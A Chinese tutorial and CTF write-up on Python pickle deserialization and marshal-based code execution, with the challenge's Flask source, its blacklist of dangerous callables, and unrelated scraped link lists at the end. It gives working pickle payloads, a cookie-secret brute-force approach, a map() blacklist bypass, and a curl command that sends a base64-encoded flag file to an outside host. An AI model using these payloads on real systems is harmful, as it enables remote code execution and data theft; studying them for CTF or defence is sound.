python pickle命令执行与marshal 任意代码执行
1.python pickle反序列化漏洞
自己的理解:
由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。
import pickle
import os
class gen(object):
def __reduce__(self):
s = """dir"""
return os.system, (s,) p = gen()
payload = pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
f.write(payload)
以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);
接着只需要将该对象实例化后再序列化即可
import pickle
'''
some code
'''
pickle.load(open('./payload.pkl'))
'''
some code
'''
假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。
2.pickle任意代码执行
import marshal
import base64 def foo():
pass # Your code here print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
我们只需要在foo函数中写上需要执行的代码即可。
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
执行以上函数便可以触发任意代码执行漏洞
from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile SECRET_KEY = 'you will never guess' if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip() app = Flask(__name__)
app.config.from_object(__name__) black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] @app.before_request
def count():
session['cnt'] = 0 @app.route('/')
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location) @app.route('/clear')
def clear():
print("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response @app.route('/reminder', methods=['POST', 'GET'])
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
print("Message cleared, tell us when you have found more brains.")
else:
print("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
print 'location'
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html') class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value))) class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!') def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
print strs,files,unpkler
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load() def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest() if __name__ == '__main__': app.run(host="0.0.0.0", port=5051)
以上面这道ctf题目为例子,可以看到当我们访问reminder页面时(post方法),首先会获取http头部的location属性,然后经过pickle序列化并进行base64编码,然后调用make_cookie函数用为用户设置cookie值,然后跳转到home页面
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
当我们以get方法访问remainder页面时,此时调用getlocation()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location
此时从cookie中获取location的值,此时会将location的值和密码再进行计算hash然后和从用户处获得的hash值进行比较,如果两者相同的话则说明身份正确。
由于我们是提前不知道密钥的值,并且已知密钥的长度为4,并且location是可控的,那么首先将payload通过post方法到remainder页面以后将会获得一个location的cookie值,此时包含了经过hash的密钥和location,又因为location是我们
已知的,所以可以在本地爆破四位密钥,因为我们最终要利用的是loads函数,它要接收的是一个经pickle序列化后的对象,所以我们必须在本地构造好cookie,所以才需要爆破密钥的值。
因此,构造一个任意的location,就能得到一个hash值,然后经过爆破以后得到密钥指,然后把payload的base64的值和密钥值hash以后组成cookie值get到readminer页面,触发序列化漏洞。
这里因为有黑名单过滤,所以可以使用map函数绕过
class Test(object):
def __init__(self):
self.a = 1
self.b = ''
self.c = ''
def __reduce__(self):
return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"]) aa = Test()
payload = b64e(pickle.dumps(aa))
python pickle命令执行与marshal 任意代码执行的更多相关文章
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...
- Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_ ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 转载--Typecho install.php 反序列化导致任意代码执行
转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
随机推荐
- C#操作excel打印
using System; using System.Data; using System.IO; using System.Runtime.InteropServices; using System ...
- GitHub团队协作流程
说来惭愧,这么长时间,第一次参与修改开源项目,所以整理了一份GitHub团队协作流程,作为备忘,文章大部分内容参考https://www.cnblogs.com/schaepher/p/4933873 ...
- 自建脚手架之配置中心--LightConf的实现
常规项目开发过程中, 通常会将配置信息位于在项目resource目录下的properties文件文件中, 配置信息通常包括有: jdbc地址配置.redis地址配置.活动开关--等等.因此每次上线或者 ...
- A - 活动安排问题(贪心)
A - 活动安排问题 有若干个活动,第i个开始时间和结束时间是[Si,fi),同一个教室安排的活动之间不能交叠,求要安排所有活动,最少需要几个教室? Input第一行一个正整数n (n <= ...
- ORA-14402:更新分区关键字列将导致分区更改
开启行迁移就好了:alter table TABLE_NAME enable row movement; 注意:表分区的时候要确定分区字段是否会UPDATE,如果会的话一定要开启行迁移,否则就会报这个 ...
- 【bzoj4007】[JLOI2015]战争调度 暴力+树形dp
Description 脸哥最近来到了一个神奇的王国,王国里的公民每个公民有两个下属或者没有下属,这种 关系刚好组成一个 n 层的完全二叉树.公民 i 的下属是 2 * i 和 2 * i +1.最下 ...
- Shell等,不等......
-eq //等于 -ne //不等于 -gt //大于 (greater ) -lt //小于 (less) -g ...
- SpringMVC中web.xml的配置(直接coppy使用就行)
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://w ...
- Python之freshman07 面向对象编程jinjie
本节内容: 面向对象高级语法部分 经典类vs新式类 静态方法.类方法.属性方法 类的特殊方法 反射 异常处理 Socket开发基础 作业:开发一个支持多用户在线的FTP程 经典类vs新式类 把下面代码 ...
- Request processing failed; nested exception is org.apache.ibatis.binding.BindingException: Invalid bound statement
原因: 此异常的原因是由于mapper接口编译后在同一个目录下没有找到mapper映射文件而出现的.由于maven工程在默认情况下src/main/java目录下的mapper文件是不发布到targe ...